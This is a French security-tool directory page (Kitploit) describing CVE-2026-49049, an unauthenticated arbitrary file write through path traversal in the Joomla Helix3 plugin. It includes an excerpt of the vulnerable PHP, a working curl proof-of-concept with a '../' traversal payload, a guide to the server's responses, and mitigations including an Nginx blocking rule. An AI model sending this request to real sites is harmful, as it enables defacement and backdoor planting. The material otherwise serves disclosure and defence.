Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-49049 | Kitploit
Outils/GitHubGitHub/dr-d25/cve-2026-49049
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubdr-d25/cve-2026-49049

CVE-2026-49049

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Analyse de la vulnérabilité CVE-2026-49049 : Unauthenticated Arbitrary File Write dans JoomShaper Helix3 (Joomla)

Ce dépôt contient des documents, une analyse technique et un Proof of Concept (PoC) pour la vulnérabilité critique CVE-2026-49049, découverte dans l'ancien framework de templates Helix3 de JoomShaper pour le CMS Joomla (versions 1.0 à 3.1.0 incluses).

Cette vulnérabilité est activement exploitée dans la nature par des botnets automatisés (notamment dans le cadre de la campagne de défacement AntonKill).


🔬 Analyse technique de la vulnérabilité

Le problème réside dans le gestionnaire AJAX système de Joomla (com_ajax), qui appelle la méthode onAjaxHelix3() du plugin plg_ajax_helix3. Les développeurs du composant n'ont pas prévu :

  1. La vérification de l'authentification utilisateur (Authentication Bypass).
  2. La vérification des jetons CSRF.
  3. Le filtrage des chemins (Validation de Path Traversal) lors du traitement du paramètre layoutName.

Logique du code PHP vulnérable :

root@kitploit:~
public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 Preuve de concept (PoC)

Pour vérifier la vulnérabilité, une requête POST avec le type de contenu application/x-www-form-urlencoded est utilisée. Cette méthode d'encapsulation des paramètres est la plus efficace pour démontrer la faille.

Vecteur d'attaque (commande cURL) :

root@kitploit:~
curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

Analyse détaillée des données transmises :


🎯 Analyse des réponses du serveur (Formes de validation)

Lors d'un test d'intrusion, le serveur peut renvoyer différents types de réponses. Leur interprétation est cruciale :

Variante A : La vulnérabilité a fonctionné (Fichier écrit)

Réponse du serveur :

root@kitploit:~
{"success":true,"message":null,"messages":null,"data":[]}

Interprétation : Le plugin est vulnérable, aucune restriction de l'OS n'est présente. Le fichier a bien été créé à la racine du site et est accessible à l'adresse https://target.com. Le site nécessite un nettoyage immédiat et une isolation.

Variante B : Le plugin est vulnérable, mais la protection du système d'exploitation s'est déclenchée

Réponse du serveur :

root@kitploit:~
{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

Interprétation : Succès partiel. La logique du plugin Helix3 est compromise — il a accepté les données sans authentification et a tenté d'ouvrir le fichier en écriture (fopen). Cependant, le système d'exploitation Linux a bloqué cette action, car l'utilisateur du serveur web (par exemple, www-data) n'a pas les droits d'écriture à la racine du site.

Variante C : Le système est protégé (mis à jour ou supprimé)

Réponse du serveur : Statut 404 Not Found, 403 Forbidden ou réponse vide []. Interprétation : Le plugin a été mis à jour vers une version sécurisée (3.1.1+), où la vérification de l'authentification a été ajoutée, ou il a été complètement supprimé du CMS.


🛡 Mitigation et élimination de la menace

  1. Mise à jour / Suppression : Mettez à jour Helix3 vers la version 3.1.1 ou supérieure. Si le framework n'est pas utilisé, supprimez complètement le plugin plg_ajax_helix3 via le panneau d'administration de Joomla.
  2. Protection au niveau du WAF (Nginx) : Ajoutez une règle pour bloquer les requêtes POST malveillantes :
    root@kitploit:~
    if (\(request_method = POST) { set\)test "P"; }
    if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
    if (\$test = PH) { return 403; }
    

Avertissement : Ce document est fourni exclusivement à des fins éducatives et pour un audit de sécurité légitime des systèmes (Pentesting). L'auteur décline toute responsabilité en cas d'utilisation inappropriée des informations fournies.

Télécharger l’outil
ParamètreValeur / ExempleCe que cela signifie pour le serveur
optioncom_ajaxPoint d'entrée de Joomla pour le traitement des requêtes AJAX.
pluginhelix3Identifiant système qui force Joomla à passer le contrôle au plugin vulnérable Helix3.
formatjsonIndique au moteur de renvoyer une réponse au format JSON.
-ddata[...]Corps de la requête (Form Data), automatiquement interprété par PHP dans le tableau global $_POST.
data[action]saveLe commutateur switch dans le code. Il demande au plugin d'appeler la fonction d'écriture (création) de fichier.
data[layoutName]../../../../../../../exampleVecteur d'attaque clé (Path Traversal). Les caractères ../ forcent le système d'exploitation à sortir du dossier isolé du plugin pour atteindre le répertoire racine du site. Le plugin ajoutera automatiquement l'extension .json.
data[content]{"probe":"test"}Charge utile (Payload). Données texte qui seront physiquement écrites dans le fichier example.json créé. Lors d'attaques réelles, du code malveillant de défacement ou des backdoors y sont injectés.